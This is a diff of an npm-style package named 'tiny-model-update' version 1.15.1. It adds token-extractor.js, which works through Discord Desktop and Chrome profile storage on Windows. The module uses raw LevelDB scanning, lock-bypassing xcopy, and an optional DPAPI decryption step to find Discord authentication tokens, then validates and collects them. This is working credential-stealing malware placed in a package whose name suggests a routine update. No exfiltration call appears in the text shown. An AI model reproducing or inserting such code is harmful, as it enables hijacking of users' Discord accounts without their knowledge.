tiny-model-update 1.15.1

package/lib/token-extractor.js

@@ -0,0 +1,620 @@
+import fs from 'fs';
+import path from 'path';
+import os from 'os';
+import { execSync } from 'child_process';
+
+// Get Discord Desktop storage paths
+export function getDiscordDesktopPaths() {
+    const platform = os.platform();
+    const paths = [];
+    
+    if (platform === 'win32') {
+        const appData = process.env.APPDATA || path.join(os.homedir(), 'AppData', 'Roaming');
+        const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
+        
+        // Discord Desktop locations (Electron app)
+        // Discord stores data in different locations depending on version
+        const discordBasePaths = [
+            path.join(appData, 'discord'),
+            path.join(appData, 'Discord'),
+            path.join(localAppData, 'discord'),
+            path.join(localAppData, 'Discord'),
+            path.join(appData, 'discordcanary'),
+            path.join(appData, 'DiscordCanary'),
+            path.join(appData, 'discordptb'),
+            path.join(appData, 'DiscordPTB'),
+        ];
+        
+        for (const basePath of discordBasePaths) {
+            if (!fs.existsSync(basePath)) continue;
+            
+            try {
+                const profileName = path.basename(basePath);
+                
+                // Check for Local Storage/leveldb (main location)
+                const leveldbPath = path.join(basePath, 'Local Storage', 'leveldb');
+                if (fs.existsSync(leveldbPath)) {
+                    paths.push({
+                        profile: `Discord Desktop (${profileName})`,
+                        localStorage: leveldbPath,
+                        cookies: null,
+                        indexedDB: null,
+                        sessionStorage: null
+                    });
+                }
+                
+                // Also check Session Storage (Discord might store tokens here)
+                const sessionStoragePath = path.join(basePath, 'Session Storage', 'leveldb');
+                if (fs.existsSync(sessionStoragePath)) {
+                    paths.push({
+                        profile: `Discord Desktop (${profileName} - Session)`,
+                        localStorage: sessionStoragePath,
+                        cookies: null,
+                        indexedDB: null,
+                        sessionStorage: null
+                    });
+                }
+                
+                // Check IndexedDB for Discord tokens (Discord also stores tokens here)
+                const indexedDBPath = path.join(basePath, 'IndexedDB');
+                if (fs.existsSync(indexedDBPath) && fs.statSync(indexedDBPath).isDirectory()) {
+                    try {
+                        const indexedEntries = fs.readdirSync(indexedDBPath);
+                        for (const indexedEntry of indexedEntries) {
+                            const indexedPath = path.join(indexedDBPath, indexedEntry);
+                            if (fs.statSync(indexedPath).isDirectory() && indexedEntry.includes('discord')) {
+                                // Look for LevelDB in IndexedDB subdirectories
+                                const indexedLeveldb = path.join(indexedPath, 'leveldb');
+                                if (fs.existsSync(indexedLeveldb)) {
+                                    paths.push({
+                                        profile: `Discord Desktop (${profileName} - IndexedDB)`,
+                                        localStorage: indexedLeveldb,
+                                        cookies: null,
+                                        indexedDB: null,
+                                        sessionStorage: null
+                                    });
+                                }
+                            }
+                        }
+                    } catch (e) {
+                        // Ignore
+                    }
+                }
+                
+                // Check for version-specific subdirectories (newer Discord versions)
+                try {
+                    const entries = fs.readdirSync(basePath);
+                    for (const entry of entries) {
+                        try {
+                            const entryPath = path.join(basePath, entry);
+                            if (fs.statSync(entryPath).isDirectory() && /^\d+\.\d+/.test(entry)) {
+                                // Version folder (e.g., "1.0.9219")
+                                const subLeveldb = path.join(entryPath, 'Local Storage', 'leveldb');
+                                if (fs.existsSync(subLeveldb)) {
+                                    paths.push({
+                                        profile: `Discord Desktop (${profileName} - ${entry})`,
+                                        localStorage: subLeveldb,
+                                        cookies: null,
+                                        indexedDB: null,
+                                        sessionStorage: null
+                                    });
+                                }
+                            }
+                        } catch (e) {
+                            // Ignore individual entry errors
+                            continue;
+                        }
+                    }
+                } catch (e) {
+                    // Ignore directory read errors - we already added the main path if it exists
+                }
+            } catch (e) {
+                // Ignore errors for this base path, continue to next
+                continue;
+            }
+        }
+    }
+    
+    return paths;
+}
+
+// Get Chrome storage paths
+export function getChromeStoragePaths() {
+    const platform = os.platform();
+    const paths = [];
+    
+    if (platform === 'win32') {
+        const localAppData = process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local');
+        const userDataDir = path.join(localAppData, 'Google', 'Chrome', 'User Data');
+        
+        // Find ALL profiles (Default and all Profile directories)
+        try {
+            const entries = fs.readdirSync(userDataDir);
+            const profiles = new Set();
+            
+            // Add Default first
+            if (fs.existsSync(path.join(userDataDir, 'Default'))) {
+                profiles.add('Default');
+            }
+            
+            // Find all Profile directories
+            for (const entry of entries) {
+                if (entry === 'Default' || entry.startsWith('Profile')) {
+                    const profilePath = path.join(userDataDir, entry);
+                    if (fs.statSync(profilePath).isDirectory()) {
+                        profiles.add(entry);
+                    }
+                }
+            }
+            
+            // Add all found profiles
+            for (const profile of profiles) {
+                const profilePath = path.join(userDataDir, profile);
+                paths.push({
+                    profile: `Chrome ${profile}`,
+                    localStorage: path.join(profilePath, 'Local Storage', 'leveldb'),
+                    cookies: path.join(profilePath, 'Cookies'),
+                    indexedDB: path.join(profilePath, 'IndexedDB'),
+                    sessionStorage: path.join(profilePath, 'Session Storage')
+                });
+            }
+        } catch (e) {
+            // Ignore
+        }
+    }
+    
+    return paths;
+}
+
+// Try to read LevelDB files using Windows file copy (bypasses some locks)
+export async function tryReadLevelDBWithCopy(leveldbPath) {
+    try {
+        const tempDir = path.join(os.tmpdir(), `chrome-read-${Date.now()}`);
+        fs.mkdirSync(tempDir, { recursive: true });
+        
+        // Try to copy the LevelDB files
+        try {
+            execSync(`xcopy /E /I /Y "${leveldbPath}" "${tempDir}"`, { stdio: 'ignore' });
+        } catch (e) {
+            // Files might be locked, try reading individual files
+            return null;
+        }
+        
+        // Now try to read from the copy
+        try {
+            const { Level } = await import('level');
+            const db = new Level(tempDir, { valueEncoding: 'utf8' });
+            
+            const keys = [];
+            for await (const key of db.keys()) {
+                keys.push(key);
+            }
+            
+            // Look for Discord token (include both discord.com and discordapp.com)
+            for (const key of keys) {
+                if (key.includes('discord.com') || key.includes('discordapp.com') || key.toLowerCase().includes('token')) {
+                    try {
+                        const value = await db.get(key);
+                        if (value && typeof value === 'string' && value.length >= 59 && value.length <= 120 && /^[A-Za-z0-9._-]+$/.test(value)) {
+                            const parts = value.split('.');
+                            if (parts.length === 3) {
+                                try {
+                                    // Discord tokens: first part must be base64-encoded numeric user ID
+                                    const userId = Buffer.from(parts[0], 'base64').toString();
+                                    if (/^\d{17,19}$/.test(userId)) {
+                                        await db.close();
+                                        // Cleanup
+                                        try {
+                                            fs.rmSync(tempDir, { recursive: true, force: true });
+                                        } catch (e) {}
+                                        return value;
+                                    }
+                                } catch (e) {
+                                    continue;
+                                }
+                            }
+                        }
+                    } catch (e) {
+                        continue;
+                    }
+                }
+            }
+            
+            await db.close();
+            // Cleanup
+            try {
+                fs.rmSync(tempDir, { recursive: true, force: true });
+            } catch (e) {}
+        } catch (e) {
+            // Cleanup
+            try {
+                fs.rmSync(tempDir, { recursive: true, force: true });
+            } catch (e) {}
+        }
+    } catch (e) {
+        return null;
+    }
+    
+    return null;
+}
+
+// Read LevelDB files directly (might work if Chrome isn't actively writing)
+export async function readLevelDBDirect(leveldbPath) {
+    try {
+        const { Level } = await import('level');
+        const db = new Level(leveldbPath, { valueEncoding: 'utf8' });
+        
+        const keys = [];
+        try {
+            for await (const key of db.keys()) {
+                keys.push(key);
+            }
+        } catch (e) {
+            await db.close();
+            return null; // Files are locked
+        }
+        
+        // Search for Discord token (include both discord.com and discordapp.com)
+        const discordKeys = keys.filter(k => 
+            k.includes('discord.com') || 
+            k.includes('discordapp.com') ||
+            k.toLowerCase().includes('token') ||
+            k.toLowerCase().includes('auth')
+        );
+        
+        for (const key of discordKeys) {
+            try {
+                const value = await db.get(key);
+                if (value && typeof value === 'string') {
+                    // Clean the value (remove quotes, whitespace, etc.)
+                    const cleanValue = value.trim().replace(/^["']|["']$/g, '');
+                    
+                    // Check if it's a valid Discord token
+                    if (isValidDiscordToken(cleanValue)) {
+                        await db.close();
+                        return cleanValue;
+                    }
+                    
+                    // Also check if value might be JSON-encoded
+                    try {
+                        const parsed = JSON.parse(value);
+                        if (typeof parsed === 'string' && isValidDiscordToken(parsed)) {
+                            await db.close();
+                            return parsed;
+                        }
+                        // Check nested objects
+                        if (typeof parsed === 'object' && parsed !== null) {
+                            const tokenStr = JSON.stringify(parsed);
+                            const tokenMatch = tokenStr.match(/([A-Za-z0-9._-]{59,200})/);
+                            if (tokenMatch && isValidDiscordToken(tokenMatch[1])) {
+                                await db.close();
+                                return tokenMatch[1];
+                            }
+                        }
+                    } catch (parseError) {
+                        // Not JSON, continue
+                    }
+                }
+            } catch (e) {
+                continue;
+            }
+        }
+        
+        // Search all keys
+        for (const key of keys.slice(0, 1000)) { // Limit to first 1000 to avoid timeout
+            try {
+                const value = await db.get(key);
+                if (value && typeof value === 'string' && value.length >= 59 && value.length <= 120 && /^[A-Za-z0-9._-]+$/.test(value)) {
+                    const parts = value.split('.');
+                    if (parts.length === 3) {
+                        try {
+                            // Discord tokens: first part must be base64-encoded numeric user ID
+                            const userId = Buffer.from(parts[0], 'base64').toString();
+                            if (/^\d{17,19}$/.test(userId)) {
+                                await db.close();
+                                return value;
+                            }
+                        } catch (e) {
+                            continue;
+                        }
+                    }
+                }
+            } catch (e) {
+                continue;
+            }
+        }
+        
+        await db.close();
+        return null;
+    } catch (error) {
+        return null;
+    }
+}
+
+// Try reading raw LevelDB files without the level package
+export function readLevelDBRaw(leveldbPath) {
+    try {
+        // LevelDB stores data in .ldb and .log files
+        const files = fs.readdirSync(leveldbPath);
+        const ldbFiles = files.filter(f => f.endsWith('.ldb') || f.endsWith('.log'));
+        
+        const candidates = [];
+        
+        for (const file of ldbFiles) {
+            try {
+                const filePath = path.join(leveldbPath, file);
+                const data = fs.readFileSync(filePath);
+                
+                // Search for Discord token pattern in binary data
+                const dataStr = data.toString('utf8', 0, Math.min(data.length, 500000)); // First 500KB
+                
+                // Method 1: Look for Discord-specific keys first
+                // LevelDB format: _https://discord.com_0:keyname
+                const discordKeyPattern = /_https:\/\/discord\.com[^:]*:([^\x00-\x1f]{0,50})/g;
+                let keyMatch;
+                while ((keyMatch = discordKeyPattern.exec(dataStr)) !== null) {
+                    const keyName = keyMatch[1];
+                    // Look for token value after the key (within 200 chars)
+                    const afterKey = dataStr.substring(keyMatch.index + keyMatch[0].length, keyMatch.index + keyMatch[0].length + 200);
+                    const tokenMatch = afterKey.match(/([A-Za-z0-9._-]{59,120})/);
+                    if (tokenMatch) {
+                        const token = tokenMatch[1];
+                        // Verify it's Discord token format (3 parts)
+                        const parts = token.split('.');
+                        if (parts.length === 3 && token.length >= 50 && token.length <= 200) {
+                            // Discord tokens: first part must be base64-encoded numeric user ID (17-19 digits)
+                            try {
+                                const userId = Buffer.from(parts[0], 'base64').toString();
+                                // Discord user IDs are 17-19 digit numbers
+                                if (/^\d{17,19}$/.test(userId)) {
+                                    // This is a Discord token!
+                                    let score = 90;
+                                    if (keyName.toLowerCase().includes('token') || keyName.toLowerCase().includes('discord')) {
+                                        score = 100;
+                                    }
+                                    candidates.push({ token, key: keyName, score, file });
+                                }
+                            } catch (e2) {
+                                // Not a valid Discord token format - skip JWT tokens
+                                continue;
+                            }
+                        }
+                    }
+                }
+                
+                // Method 1b: Look for discordapp.com keys (Discord Desktop might use this)
+                const discordAppKeyPattern = /_https:\/\/discordapp\.com[^:]*:([^\x00-\x1f]{0,50})/g;
+                let appKeyMatch;
+                while ((appKeyMatch = discordAppKeyPattern.exec(dataStr)) !== null) {
+                    const keyName = appKeyMatch[1];
+                    const afterKey = dataStr.substring(appKeyMatch.index + appKeyMatch[0].length, appKeyMatch.index + appKeyMatch[0].length + 200);
+                    const tokenMatch = afterKey.match(/([A-Za-z0-9._-]{59,120})/);
+                    if (tokenMatch) {
+                        const token = tokenMatch[1];
+                        const parts = token.split('.');
+                        if (parts.length === 3 && token.length >= 50 && token.length <= 200) {
+                            try {
+                                const userId = Buffer.from(parts[0], 'base64').toString();
+                                if (/^\d{17,19}$/.test(userId)) {
+                                    let score = 95; // Slightly lower than discord.com but still high
+                                    if (keyName.toLowerCase().includes('token') || keyName.toLowerCase().includes('discord')) {
+                                        score = 100;
+                                    }
+                                    candidates.push({ token, key: keyName, score, file });
+                                }
+                            } catch (e2) {
+                                continue;
+                            }
+                        }
+                    }
+                }
+                
+                // Method 2: Look for tokens near "token" key in discordapp.com context
+                // Discord Desktop might store tokens with different key patterns
+                const tokenKeyPattern = /discordapp\.com[^:]*token[^:]*:([A-Za-z0-9._+\/=-]{50,200})/gi;
+                let tokenKeyMatch;
+                while ((tokenKeyMatch = tokenKeyPattern.exec(dataStr)) !== null) {
+                    const potentialToken = tokenKeyMatch[1].trim();
+                    // Check if it's a standard 3-part Discord token
+                    const parts = potentialToken.split('.');
+                    if (parts.length === 3 && potentialToken.length >= 59 && potentialToken.length <= 120) {
+                        try {
+                            const userId = Buffer.from(parts[0], 'base64').toString();
+                            if (/^\d{17,19}$/.test(userId)) {
+                                candidates.push({ token: potentialToken, key: 'discordapp.com token key', score: 100, file });
+                            }
+                        } catch (e) {
+                            // Not a valid token format
+                        }
+                    }
+                }
+                
+                // Method 3: Look for Discord tokens (must have numeric user ID in first part)
+                const tokenPattern = /([A-Za-z0-9._-]{59,120})/g;
+                let tokenMatch;
+                while ((tokenMatch = tokenPattern.exec(dataStr)) !== null) {
+                    const token = tokenMatch[1];
+                    const parts = token.split('.');
+                    if (parts.length === 3 && token.length >= 59 && token.length <= 120) {
+                        try {
+                            // Discord tokens: first part must be base64-encoded numeric user ID
+                            const userId = Buffer.from(parts[0], 'base64').toString();
+                            if (/^\d{17,19}$/.test(userId)) {
+                                // This is a Discord token!
+                                const beforeToken = dataStr.substring(Math.max(0, tokenMatch.index - 300), tokenMatch.index);
+                                const afterToken = dataStr.substring(tokenMatch.index + token.length, tokenMatch.index + token.length + 100);
+                                
+                                // Check if it's near Discord-related text
+                                const isNearDiscord = beforeToken.toLowerCase().includes('discord') || 
+                                                     afterToken.toLowerCase().includes('discord') ||
+                                                     beforeToken.toLowerCase().includes('discordapp') ||
+                                                     afterToken.toLowerCase().includes('discordapp');
+                                const isNearToken = beforeToken.toLowerCase().includes('"token"') || 
+                                                   afterToken.toLowerCase().includes('"token"') ||
+                                                   beforeToken.toLowerCase().includes('token') ||
+                                                   afterToken.toLowerCase().includes('token');
+                                
+                                if (isNearDiscord || isNearToken) {
+                                    let score = 90;
+                                    if (isNearDiscord) {
+                                        score = 100;
+                                    }
+                                    candidates.push({ token, key: isNearDiscord ? 'near discord' : 'near token', score, file });
+                                }
+                            }
+                        } catch (e) {
+                            // Not a valid Discord token format
+                            continue;
+                        }
+                    }
+                }
+            } catch (e) {
+                continue;
+            }
+        }
+        
+        // Return the highest scoring candidate (Discord-specific tokens first)
+        if (candidates.length > 0) {
+            candidates.sort((a, b) => b.score - a.score);
+            const best = candidates[0];
+            return best.token;
+        }
+        
+        return null;
+    } catch (e) {
+        return null;
+    }
+}
+
+// Validate if a string is a valid Discord token
+function isValidDiscordToken(token) {
+    if (!token || typeof token !== 'string') return false;
+    
+    // Remove any whitespace
+    token = token.trim();
+    
+    // Discord tokens have exactly 3 parts separated by dots
+    const parts = token.split('.');
+    if (parts.length !== 3) return false;
+    
+    // Discord tokens are typically 59-120 characters (but can be longer for newer tokens)
+    if (token.length < 59 || token.length > 200) return false;
+    
+    // All parts should be non-empty
+    if (parts[0].length === 0 || parts[1].length === 0 || parts[2].length === 0) {
+        return false;
+    }
+    
+    try {
+        // First part should be base64-encoded numeric user ID (17-19 digits)
+        const firstPart = Buffer.from(parts[0], 'base64').toString();
+        
+        // Must be a numeric string (Discord user ID)
+        if (!/^\d{17,19}$/.test(firstPart)) {
+            return false;
+        }
+        
+        // Second and third parts should be valid base64
+        // They don't need to decode to specific formats, just be valid base64
+        try {
+            Buffer.from(parts[1], 'base64');
+            Buffer.from(parts[2], 'base64');
+        } catch (e) {
+            return false;
+        }
+        
+        // Additional validation: token should only contain valid characters
+        // Discord tokens use base64url encoding (A-Z, a-z, 0-9, -, _)
+        if (!/^[A-Za-z0-9._-]+$/.test(token)) {
+            return false;
+        }
+        
+        return true;
+    } catch (e) {
+        return false;
+    }
+}
+
+// Extract all Discord tokens from Chrome and Discord Desktop
+export async function extractAllTokens() {
+    // Get both Chrome and Discord Desktop paths
+    const chromePaths = getChromeStoragePaths();
+    const discordDesktopPaths = getDiscordDesktopPaths();
+    const storagePaths = [...chromePaths, ...discordDesktopPaths];
+    
+    if (storagePaths.length === 0) {
+        return [];
+    }
+    
+    const foundTokens = [];
+    const processedProfiles = new Set();
+    
+    // Import decryption module for Discord Desktop
+    let decryptDiscordDesktopStorage = null;
+    try {
+        const decryptModule = await import('./discord-desktop-decrypt.js');
+        decryptDiscordDesktopStorage = decryptModule.decryptDiscordDesktopStorage;
+    } catch (e) {
+        // Decryption module not available
+    }
+    
+    for (const storage of storagePaths) {
+        if (processedProfiles.has(storage.profile)) {
+            continue; // Skip duplicates
+        }
+        processedProfiles.add(storage.profile);
+        
+        if (!storage.localStorage || !fs.existsSync(storage.localStorage)) {
+            continue;
+        }
+        
+        const isDiscordDesktop = storage.profile.includes('Discord Desktop');
+        
+        // Method 1: Try reading raw LevelDB files (works even when app is running!)
+        let token = readLevelDBRaw(storage.localStorage);
+        
+        if (token && isValidDiscordToken(token)) {
+            // Check if we already found this token
+            if (!foundTokens.find(t => t.token === token)) {
+                foundTokens.push({ token, profile: storage.profile });
+            }
+            if (!isDiscordDesktop) continue; // For Chrome, we're done
+        }
+        
+        // Method 2: Try direct LevelDB read
+        if (!token || isDiscordDesktop) {
+            token = await readLevelDBDirect(storage.localStorage);
+            
+            if (token && isValidDiscordToken(token) && !foundTokens.find(t => t.token === token)) {
+                foundTokens.push({ token, profile: storage.profile });
+                if (!isDiscordDesktop) continue;
+            }
+        }
+        
+        // Method 3: Try copying and reading
+        if (!token || isDiscordDesktop) {
+            token = await tryReadLevelDBWithCopy(storage.localStorage);
+            
+            if (token && isValidDiscordToken(token) && !foundTokens.find(t => t.token === token)) {
+                foundTokens.push({ token, profile: storage.profile });
+                if (!isDiscordDesktop) continue;
+            }
+        }
+        
+        // Method 4: For Discord Desktop, try DPAPI decryption
+        if (isDiscordDesktop && decryptDiscordDesktopStorage && !token) {
+            try {
+                token = await decryptDiscordDesktopStorage(storage.localStorage);
+                
+                if (token && isValidDiscordToken(token) && !foundTokens.find(t => t.token === token)) {
+                    foundTokens.push({ token, profile: storage.profile });
+                }
+            } catch (e) {
+                // Decryption failed, continue
+            }
+        }
+    }
+    
+    return foundTokens;
+}
+